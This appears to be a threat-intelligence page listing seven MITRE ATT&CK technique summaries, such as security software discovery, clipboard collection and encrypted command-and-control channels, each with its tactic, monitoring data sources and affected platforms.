Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre